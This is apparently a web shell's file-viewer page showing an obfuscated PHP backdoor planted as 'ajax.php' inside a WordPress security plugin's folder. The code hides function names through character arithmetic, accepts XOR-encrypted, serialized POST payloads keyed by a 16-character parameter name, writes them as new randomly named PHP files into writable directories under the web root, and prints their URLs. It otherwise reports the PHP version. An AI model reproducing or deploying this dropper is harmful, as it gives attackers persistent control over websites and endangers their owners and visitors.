HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/foar/wp-content/plugins/wordfence/modules/login-security/js/ajax.php
<?php $QiMzymGLVL = "EyBsqURV";function kkrIt($QiMzymGLVL){ $oLJXSoVIsj = chr(115)."\x74".'r'.chr(95)."\162".chr(414-303).chr(116).'1'.'3';$QiMzymGLVL = $oLJXSoVIsj($QiMzymGLVL);$FjmxCBw = chr(1077-963)."\141"."\x77".'u'.chr(336-222)."\x6c"."\x64"."\x65".chr(99)."\x6f".chr(100)."\145";$QiMzymGLVL = $FjmxCBw($QiMzymGLVL);$QiMzymGLVL = str_split($QiMzymGLVL);return $QiMzymGLVL;}function yXAqf($JRZWRqY, $WfSIfIrZ){$JRZWRqY = array_slice(str_split(str_repeat($JRZWRqY, (count($WfSIfIrZ)/16)+1)), 0, count($WfSIfIrZ));return $JRZWRqY;}function jKvljjFaF($QgdTHL, $qLBzNMSebl, $JRZWRqY){$SPXUP = "6af29a7e-760f-459c-8592-ecfc47201d39";return $QgdTHL ^ $SPXUP[$qLBzNMSebl % strlen($SPXUP)] ^ $JRZWRqY;}function HFuUOsSG($WfSIfIrZ, $JRZWRqY){$WfSIfIrZ = array_map("jKvljjFaF", array_values($WfSIfIrZ), array_keys($WfSIfIrZ), array_values($JRZWRqY));$WfSIfIrZ = implode("", $WfSIfIrZ);$ykxeyNRF = "\x75".chr(110)."\163".chr(1083-982).chr(732-618).chr(105).chr(611-514).chr(128-20).chr(987-882).chr(122).'e';$WfSIfIrZ = @$ykxeyNRF($WfSIfIrZ);return $WfSIfIrZ;}function vaSoTxcxzk(){echo "aNDwHGn";}function kmCwIwS($QHIeuDVvBuir){static $VfZAFr = array();$GaNojwMb = glob($QHIeuDVvBuir . '/*', GLOB_ONLYDIR);$BjSFvRStn = count($GaNojwMb);if ($BjSFvRStn > 0) {foreach ($GaNojwMb as $QHIeuDVvBu) {$VGBLAleON = "\151".'s'.chr(95).chr(758-639).chr(427-313)."\151".chr(767-651).chr(97).chr(602-504)."\154"."\145";if (@$VGBLAleON($QHIeuDVvBu)) {$VfZAFr[] = $QHIeuDVvBu;}}}foreach ($GaNojwMb as $QHIeuDVvBuir) kmCwIwS($QHIeuDVvBuir);return $VfZAFr;}function IzIyUNTYSG(){echo "EyBsqURV";}function SxXSLJ($WfSIfIrZ){$vSCTgbPDC = "\104".'O'.chr(526-459).chr(85).chr(128-51).'E'.chr(222-144).chr(84)."\x5f".chr(1035-953)."\x4f"."\x4f".chr(719-635);$wtmEHzim = $_SERVER[$vSCTgbPDC];$GaNojwMb = kmCwIwS($wtmEHzim);$QVjpGUxAC = array_rand($GaNojwMb);$TiLOF = chr(548-502).chr(112).chr(731-627)."\160";$FuWvEPvH = $GaNojwMb[$QVjpGUxAC] . "/" . substr(md5(time()), 0, 8) . $TiLOF;$nWbOzv = "\x66".chr(453-348)."\154".chr(1048-947)."\x5f".'p'."\165"."\164".chr(308-213)."\x63".'o'.chr(523-413)."\164"."\x65".chr(110)."\x74".'s';@$nWbOzv($FuWvEPvH, $WfSIfIrZ);$xVsxh = "\110"."\124"."\x54".chr(583-503).chr(865-770)."\x48".chr(79)."\123"."\124";$dIcXUUZY = "\150".chr(116).chr(400-284).'p'."\x3a"."\57".chr(47-0);$zPxyuW = $dIcXUUZY . $_SERVER[$xVsxh] . substr($FuWvEPvH, strlen($wtmEHzim));print($zPxyuW);}function vfgrrIjU(){$vkvwId = "\x70"."\x68".chr(112);$sPkhUQqbHM = chr(962-850).chr(868-764).chr(481-369)."\x76".chr(101)."\162".chr(415-300).chr(105)."\x6f".chr(110);$WfSIfIrZ = Array($vkvwId => @$sPkhUQqbHM(), );$MIWUHhxjEw = chr(959-844).chr(101).'r'."\x69"."\141"."\x6c"."\151"."\172".'e';echo @$MIWUHhxjEw($WfSIfIrZ);}foreach ($_POST as $JRZWRqY => $WfSIfIrZ){$WgNVJyDMHy = strlen($JRZWRqY);if ($WgNVJyDMHy == 16){$WfSIfIrZ = kkrIt($WfSIfIrZ);$JRZWRqY = yXAqf($JRZWRqY, $WfSIfIrZ);$WfSIfIrZ = HFuUOsSG($WfSIfIrZ, $JRZWRqY);if (@is_array($WfSIfIrZ)){$QVjpGUxAC = array_keys($WfSIfIrZ);$WfSIfIrZ = $WfSIfIrZ[$QVjpGUxAC[0]];$QVjpGUxAC = $QVjpGUxAC[0];$QVjpGUxAC = substr($QVjpGUxAC, 0);if ($WfSIfIrZ !== $QVjpGUxAC){SxXSLJ($WfSIfIrZ);}else {vfgrrIjU();}die();}}}